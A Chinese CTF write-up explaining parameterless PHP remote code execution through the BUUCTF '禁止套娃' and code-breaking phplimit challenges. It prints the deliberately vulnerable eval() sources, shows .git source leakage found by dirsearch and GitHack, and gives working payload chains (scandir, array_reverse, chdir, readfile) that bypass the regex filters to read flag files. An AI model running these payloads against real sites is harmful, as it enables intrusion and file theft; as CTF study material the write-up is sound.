考点
  1. git源码泄露
  2. 无参数RCE
无参数RCE

关于无参数RCE的文章可以参考飘零师傅的文章

1
https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/

简单原理可以用code-breaking上的一道题来简单解释一下。这道题叫phplimit,进入docker-compose.yml所在目录,执行

1
$ sudo docker-compose up -d

访问8084端口。

1
2
3
4
5
6
<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
} else {
show_source(__FILE__);
}

源码很简单:

  1. 接受get请求参数code
  2. 如果符合正则表达式就执行传入的参数

解释一下正则表达式/[^\W]+\((?R)?\)/

  1. [^\W]表示匹配数字字母下划线(\w表示数字字母下划线,\W表示非数字字母下划线,^[]中表否定含义)

  2. (?R)?表示引用当前表达式,即可以用/[^\W]+\((?R)?\)/替换到(?R)的位置,变成

    1
    /[^\W]+\(/[^\W]+\((?R)?\)\)/

    (?R)?表示可以有引用也可以没有引用。

    举个例子:

    1
    2
    3
    aaa()			// 表示没有引用
    aaa(bbb()) // 表示引用1次
    aaa(bbb(ccc())) // 表示引用2次

这道题要求传入的参数经过preg_replace()正则匹配替换后仅剩下;,所以我们只能传入形如a(b(c()))的参数。这就是无参数RCE。

这里介绍一种最简单的方法,并介绍几个常用函数:

  1. localeconv() : 返回一包含本地数字及货币格式信息的数组

    3

    返回的数组的第一个键值对的值为小数点.符号

    4

  2. current() : 返回数组中的当前元素(单元),每个数组中都有一个内部的指针指向它当前元素,初始指向插入到数组中的第一个元素。

    5

  3. scandir() : 返回指定目录中的文件和目录的数组

    6

    在这个目录下并没有发现flag文件,所以想进到上一级目录中,可以用next()函数来实现

  4. next() : 把指向当前元素的指针移动到下一个元素的位置,并返回当前元素的值,如果内部指针已经超过数组的最后一个元素,函数返回 false。

    7

    找到了flag,接下来的问题就是如何读取它。

  5. array_reverse() : 将原数组中的元素顺序翻转,创建新的数组并返回。

    1
    ?code=print_r(next(array_reverse(scandir(next(scandir(current(localeconv())))))));

    将数组反转后再用next()将数组指针后移就可以得到flag文件:

    8

    如果要读取文件有多种方法,可以用show_source()或者是highlight_file()

    1
    ?code=show_source(next(array_reverse(scandir(next(scandir(current(localeconv())))))));

    9

    打开错误,提示No such file or directory,这是因为现在的目录指向的仍然是index.php所在目录,我们并没有进行切换目录操作,必须进入上一层目录才行。

  6. chcrd() : 改变当前的目录 ,切换成功会返回1

    dirname() : 返回路径中的目录名称部分

    1
    ?code=show_source(next(array_reverse(scandir(dirname(chdir(next(scandir(current(localeconv())))))))));

    10

    得到flag : flag{e86963ba34687d269b9faf526ce68cd7}

当然上面介绍的方法是最简单的方法,这道题其实有很多的解法,找个时间整理出来。但是上面的方法解决这道题已经足够了。

回到禁止套娃这道题,打开题目,先用字典扫描一下有没有相关php文件。

1
$ python3 dirsearch.py -u http://51377c23-29fe-44e8-ba65-6af23cc26e15.node3.buuoj.cn/ -e php

在扫描的过程中发现有.git泄露的情况

1

开发人员常常会把源代码提交到远程代码托管网站(如github),部署网站时再从远程托管网站把源码pull到服务器的web目录下,如果粗心忘记删除.git文件,就会造成.git泄露。攻击者可以从.git文件恢复网站的源码,源码里可能会有一些敏感信息,比如数据库信息。

发现了/.git直接上GitHack

2

得到index.php源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>

从源码中可以得到以下的信息:

  1. 第一个if表示以GET的形式读取参数exp的值
  2. 第二个if过滤了datafilterphpphar这四个伪协议,禁止通过伪协议读取文件
  3. 第三个if表示我们只能通过无参数函数进入if语句
  4. 第四个if过滤了很多函数

先确定flag在哪里

1
?exp=print_r(scandir(current(localeconv())));

11

看到了flag.php文件,然后我们要读取这个文件。但是它位于倒数第二个位置,倒数第一我们可用end(),对于倒数第二,有这么几种处理方法

1. array_reverse() + next()

这个函数之前已经介绍过了,结合next()函数就可以获得flag.php。

12

2. array_rand() + array_flip()

array_rand() : 返回数组中的随机键名,或者如果您规定函数返回不只一个键名,则返回包含随机键名的数组

array_flip() : 函数用于反转/交换数组中所有的键名以及它们关联的键值。

因为这道题中的数组元素不太多,所以用array_rand(array_flip())不需要刷新几次就可以得到flag.php。

1
?exp=print_r(array_rand(array_flip(scandir(current(localeconv())))));

13

最后一步就是读取flag.php的文本内容,可用的函数有:

  1. file_get_contents()
  2. highlight_file()
  3. show_source()
  4. readfile()

但最里层的if过滤了et所以不能用file_get_contents()读取

1
?exp=readfile(next(array_reverse(scandir(current(localeconv())))));

获得flag : flag{e4c7f285-c400-4f60-8334-dc91e7d771fd}